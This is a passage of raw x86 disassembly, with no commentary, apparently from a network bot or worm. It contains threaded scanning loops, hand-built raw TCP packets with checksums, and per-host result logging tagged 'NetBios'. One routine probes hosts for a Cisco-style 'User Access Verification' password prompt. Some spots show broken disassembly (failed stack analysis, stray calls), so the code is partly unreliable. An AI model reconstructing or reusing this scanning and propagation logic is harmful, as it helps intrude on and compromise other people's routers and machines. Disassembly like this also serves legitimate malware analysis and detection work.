		pop	esi
		pop	ebp
		retn
sub_409BE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C2C	proc near		; CODE XREF: sub_409F32+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AC70
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_409C54
		xor	eax, eax
		jmp	short loc_409CC5
; ---------------------------------------------------------------------------


loc_409C54:				; CODE XREF: sub_409C2C+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4447D0
		push	[ebp+arg_0]
		call	sub_41EB80
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_409C81
		call	sub_41DBA0
		mov	[ebp+var_C], eax


loc_409C81:				; CODE XREF: sub_409C2C+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_409C8E
		call	sub_41DBA0
		mov	[ebp+var_8], eax


loc_409C8E:				; CODE XREF: sub_409C2C+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_409C9B
		call	sub_41DBA0
		mov	[ebp+var_4], eax


loc_409C9B:				; CODE XREF: sub_409C2C+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_409CA7
		call	sub_41DBA0


loc_409CA7:				; CODE XREF: sub_409C2C+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4DF378[ecx*8],	eax


loc_409CC5:				; CODE XREF: sub_409C2C+26j
		pop	esi
		leave
		retn
sub_409C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CC8	proc near		; CODE XREF: seg000:0040953Fp
					; sub_409F32+B8p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_451570
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_409CF1
		xor	eax, eax
		jmp	short loc_409D60
; ---------------------------------------------------------------------------


loc_409CF1:				; CODE XREF: sub_409CC8+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_4514F4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_45158C
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_4514DC
		push	esi
		mov	edi, eax
		call	ds:dword_451588
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_409D60:				; CODE XREF: sub_409CC8+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409CC8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10110h
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		mov	edi, 2649h
		push	edi
		call	ds:dword_4514F4
		push	dword ptr [ebp+10h]
		mov	[ebp-28h], ax
		call	ds:dword_4514F4
		mov	[ebp-26h], ax
		call	sub_41DBA0
		xor	ebx, ebx
		push	200h
		mov	[ebp-24h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], bx
		mov	[ebp-0Ch], bx
		mov	word ptr [ebp-1Ah], 5
		mov	[ebp-18h], bx
		mov	word ptr [ebp-16h], 1
		mov	[ebp-14h], bx
		mov	[ebp-12h], bx
		mov	[ebp-10h], bx
		mov	[ebp-0Eh], bx
		call	ds:dword_4514F4
		mov	esi, [ebp+0Ch]
		mov	[ebp-0Ah], ax
		mov	eax, [ebp+8]
		push	24h
		mov	[ebp-8], bx
		mov	[ebp-6], bx
		mov	[ebp-58h], eax
		mov	[ebp-54h], esi
		mov	[ebp-50h], bl
		mov	byte ptr [ebp-4Fh], 6
		call	ds:dword_4514F4
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_41E840
		lea	eax, [ebp-58h]
		push	20h
		push	eax
		call	sub_402670
		mov	[ebp-8], ax
		push	10h
		lea	eax, [ebp-38h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 20h
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp+10h]
		call	ds:dword_4514F4
		push	6
		push	3
		push	2
		mov	[ebp-36h], ax
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-4], 10h
		call	ds:dword_451570
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_409E64
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_409F25
; ---------------------------------------------------------------------------


loc_409E64:				; CODE XREF: seg000:00409E58j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		push	esi
		call	ds:dword_451554
		cmp	eax, 14h
		mov	[ebp+10h], eax
		jz	short loc_409EAD
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp-0D8h]
		push	dword ptr [ebp+10h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	eax
		call	sub_41D260
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_4161A7
		add	esp, 14h
		jmp	short loc_409EF6
; ---------------------------------------------------------------------------


loc_409EAD:				; CODE XREF: seg000:00409E7Fj
		push	10038h
		lea	eax, [ebp-10110h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch


loc_409EC2:				; CODE XREF: seg000:00409EE9j
		cmp	[ebp-100FAh], di
		jz	short loc_409EFF
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-10110h]
		push	10038h
		push	eax
		push	esi
		call	ds:dword_4514CC
		test	eax, eax
		jge	short loc_409EC2
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4161A7
		pop	ecx


loc_409EF6:				; CODE XREF: seg000:00409EABj
		push	esi
		call	ds:dword_451588
		jmp	short loc_409F2B
; ---------------------------------------------------------------------------


loc_409EFF:				; CODE XREF: seg000:00409EC9j
		push	esi
		call	ds:dword_451588
		cmp	word ptr [ebp-100EAh], 1
		jnz	short loc_409F20
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4161A7
		pop	ecx
		push	1
		pop	eax
		jmp	short loc_409F2D
; ---------------------------------------------------------------------------


loc_409F20:				; CODE XREF: seg000:00409F0Ej
		push	offset aSocketClosed_ ;	"Socket	closed."


loc_409F25:				; CODE XREF: seg000:00409E5Fj
		call	sub_4161A7
		pop	ecx


loc_409F2B:				; CODE XREF: seg000:00409EFDj
		xor	eax, eax


loc_409F2D:				; CODE XREF: seg000:00409F1Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F32	proc near		; DATA XREF: sub_40A146+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_409F79:				; CODE XREF: sub_409F32+200j
		mov	eax, ds:dword_4523BC[ebx]
		cmp	ds:dword_4DF37C[eax*8],	0
		jz	loc_40A137
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_409FA3
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_409C2C
		pop	ecx
		jmp	short loc_409FA8
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F32+60j
		call	sub_409BE4


loc_409FA8:				; CODE XREF: sub_409F32+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_4523BC[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset dword_444854
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4521B8[ebx]
		push	eax
		call	sub_41D260
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_409CC8
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40A127
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40A07C
		push	offset dword_4E1378
		call	ds:dword_4F1364	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset dword_4448B8
		push	eax
		call	sub_41D260
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40A05E
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40A052
		lea	eax, [ebp+var_140]


loc_40A052:				; CODE XREF: sub_409F32+118j
		push	eax
		push	[ebp+var_40]
		call	sub_40145D
		add	esp, 14h


loc_40A05E:				; CODE XREF: sub_409F32+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4161A7
		mov	[esp+2A8h+var_2A8], offset dword_4E1378
		call	ds:dword_4F1360	; RtlLeaveCriticalSection
		jmp	loc_40A127
; ---------------------------------------------------------------------------


loc_40A07C:				; CODE XREF: sub_409F32+CDj
		push	edi
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41D260
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aNetbios_0 ; "netbios"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41D260
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40A0C0
		lea	eax, [ebp+var_140]


loc_40A0C0:				; CODE XREF: sub_409F32+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41D260
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	ds:off_4439F4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40A127:				; CODE XREF: sub_409F32+C3j
					; sub_409F32+145j
		push	7D0h
		call	ds:dword_4F12F4	; Sleep
		jmp	loc_409F79
; ---------------------------------------------------------------------------


loc_40A137:				; CODE XREF: sub_409F32+55j
		push	esi
		call	sub_40905B
		pop	ecx
		push	0
		call	near ptr 3D0000h
		xchg	eax, esp
sub_409F32	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A146	proc near		; DATA XREF: seg000:00405D04o
					; seg000:0040767Co

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_451530
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_4DF378[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_40970E
		push	0Bh
		call	sub_408F87
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40A214
		mov	esi, offset dword_4E1378
		push	esi
		call	ds:dword_4F136C	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4F1368	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40A214
		lea	eax, [ebp+var_1CC]
		push	offset dword_444908
		push	eax
		call	sub_41D260
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40A1FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40145D
		add	esp, 14h


loc_40A1FE:				; CODE XREF: sub_40A146+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4161A7
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40A214:				; CODE XREF: sub_40A146+63j
					; sub_40A146+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_4F12F4
		mov	edi, ebx
		mov	ds:dword_4DF37C[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40A2E1


loc_40A232:				; CODE XREF: sub_40A146+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_444964
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_408D3F
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_4523BC[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_409F32
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_40A2AC


loc_40A2A1:				; CODE XREF: sub_40A146+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40A2D3
		push	1Eh
		call	esi ; dword_4F12F4
		jmp	short loc_40A2A1
; ---------------------------------------------------------------------------


loc_40A2AC:				; CODE XREF: sub_40A146+159j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_4449C4
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4161A7
		add	esp, 10h


loc_40A2D3:				; CODE XREF: sub_40A146+15Ej
		push	1Eh
		call	esi ; dword_4F12F4
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40A232


loc_40A2E1:				; CODE XREF: sub_40A146+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40A38B
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_4F12F4


loc_40A2F6:				; CODE XREF: sub_40A146+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_4DF378[eax*8]
		push	eax
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_444A28
		push	eax
		call	sub_41D260
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40A344
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40145D
		add	esp, 14h


loc_40A344:				; CODE XREF: sub_40A146+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4161A7
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	ds:dword_4DF37C[eax*8],	ebx
		call	esi ; dword_4F12F4
		push	0Bh
		call	sub_408F87
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40A37B
		push	offset dword_4E1378
		call	ds:dword_4F136C	; RtlDeleteCriticalSection


loc_40A37B:				; CODE XREF: sub_40A146+228j
		push	[ebp+var_2C]
		call	sub_40905B
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		xchg	eax, ebx


loc_40A38B:				; CODE XREF: sub_40A146+19Ej
					; sub_40A146+25Dj
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_4DF37C[eax*8],	1
		jnz	loc_40A2F6
		push	7D0h
		call	esi ; dword_4F12F4
		jmp	short loc_40A38B
sub_40A146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3A5	proc near		; DATA XREF: sub_40A472+7Bo
					; seg000:0040A5DEo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	ds:dword_4514F4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_451570
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40A463
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_4523C4[ecx], esi
		jz	short loc_40A463
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	ds:dword_45157C
		push	eax
		mov	edi, offset dword_4E1D3C
		push	offset dword_444A94
		push	edi
		call	sub_41D260
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_40145D
		push	edi
		call	sub_4161A7
		add	esp, 28h


loc_40A463:				; CODE XREF: sub_40A3A5+5Dj
					; sub_40A3A5+7Ej
		push	esi
		call	ds:dword_451588
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40A3A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40A472	proc near		; DATA XREF: seg000:00405FE1o

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, ds:dword_4F12F4
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40A4A0:				; CODE XREF: sub_40A472+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp+var_134]
		push	offset dword_444AE4
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_4521B8
		push	eax
		call	sub_41D800
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40A3A5
		push	edi
		push	edi
		call	ds:dword_4F131C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40A50C


loc_40A501:				; CODE XREF: sub_40A472+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40A50C
		push	32h
		call	esi ; dword_4F12F4
		jmp	short loc_40A501
; ---------------------------------------------------------------------------


loc_40A50C:				; CODE XREF: sub_40A472+8Dj
					; sub_40A472+92j
		push	[ebp+var_4]
		call	ds:dword_4F12FC	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi ; dword_4F12F4
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_451420
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4514F0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		jmp	loc_40A4A0
sub_40A472	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp-0B0h]
		rep movsd
		mov	esi, ds:dword_4F12F4
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40A591:				; CODE XREF: seg000:0040A61Fj
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp-1Ch]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-130h]
		push	offset dword_444B34
		push	eax
		call	sub_41D260
		lea	eax, [ebp-130h]
		push	1FFh
		push	eax
		mov	eax, [ebp-20h]
		imul	eax, 234h
		add	eax, offset dword_4521B8
		push	eax
		call	sub_41D800
		add	esp, 1Ch
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-0B0h]
		push	edi
		push	eax
		push	offset sub_40A3A5
		push	edi
		push	edi
		call	ds:dword_4F131C	; CreateThread
		cmp	eax, edi
		mov	[ebp+8], eax
		jz	short loc_40A5FD


loc_40A5F2:				; CODE XREF: seg000:0040A5FBj
		cmp	[ebp-8], edi
		jnz	short loc_40A5FD
		push	32h
		call	esi ; dword_4F12F4
		jmp	short loc_40A5F2
; ---------------------------------------------------------------------------


loc_40A5FD:				; CODE XREF: seg000:0040A5F0j
					; seg000:0040A5F5j
		push	dword ptr [ebp+8]
		call	ds:dword_4F12FC	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi ; dword_4F12F4
		mov	eax, [ebp-2Ch]
		cmp	eax, [ebp-28h]
		jz	short loc_40A624
		inc	dword ptr [ebp-2Ch]
		jmp	loc_40A591
; ---------------------------------------------------------------------------


loc_40A624:				; CODE XREF: seg000:0040A61Aj
		push	dword ptr [ebp-1Ch]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-130h]
		push	offset dword_444B90
		push	eax
		call	sub_41D260
		push	edi
		lea	eax, [ebp-130h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-0ACh]
		push	eax
		push	dword ptr [ebp-0B0h]
		call	sub_40145D
		push	dword ptr [ebp-20h]
		call	sub_40905B
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 290h
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	1
		push	2
		call	ds:dword_451570
		mov	edi, eax
		cmp	edi, esi
		jl	loc_40A7DD
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	ds:dword_451530
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	ds:dword_4514F4
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40A7DD
		push	40h
		lea	eax, [ebp-50h]
		push	esi
		push	eax
		call	sub_41D100
		push	40h
		lea	eax, [ebp-90h]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 18h
		lea	eax, [ebp-50h]
		push	esi
		push	40h
		push	eax
		push	edi
		call	ds:dword_45150C
		test	eax, eax
		jle	loc_40A7DD
		push	esi
		lea	eax, [ebp-50h]
		push	40h
		push	eax
		push	edi
		call	ds:dword_45150C
		push	esi
		push	6
		push	offset dword_444BE4
		push	edi
		call	ds:dword_451540
		push	esi
		lea	eax, [ebp-90h]
		push	40h
		push	eax
		push	edi
		call	ds:dword_45150C
		push	6
		lea	eax, [ebp-90h]
		push	offset dword_444BEC
		push	eax
		call	sub_41EC40
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40A7DD
		push	28h
		lea	eax, [ebp-50h]
		push	offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
		push	eax
		call	sub_41EC40
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40A7DD
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aNetbios ; "NetBios"
		push	eax
		push	offset unk_444C20
		lea	eax, [ebp-290h]
		push	200h
		push	eax
		call	sub_41D360
		push	esi
		lea	eax, [ebp-290h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40145D
		lea	eax, [ebp-290h]
		push	eax
		call	sub_4161A7
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		push	1
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40A7DF
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: seg000:0040A68Cj
					; seg000:0040A6D4j ...
		xor	eax, eax


loc_40A7DF:				; CODE XREF: seg000:0040A7DBj
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1210h
		call	sub_41DEB0
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		push	1
		push	2
		call	ds:dword_451570
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_40A951
		push	10h
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	ds:dword_451530
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	ds:dword_4514F4
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_45149C
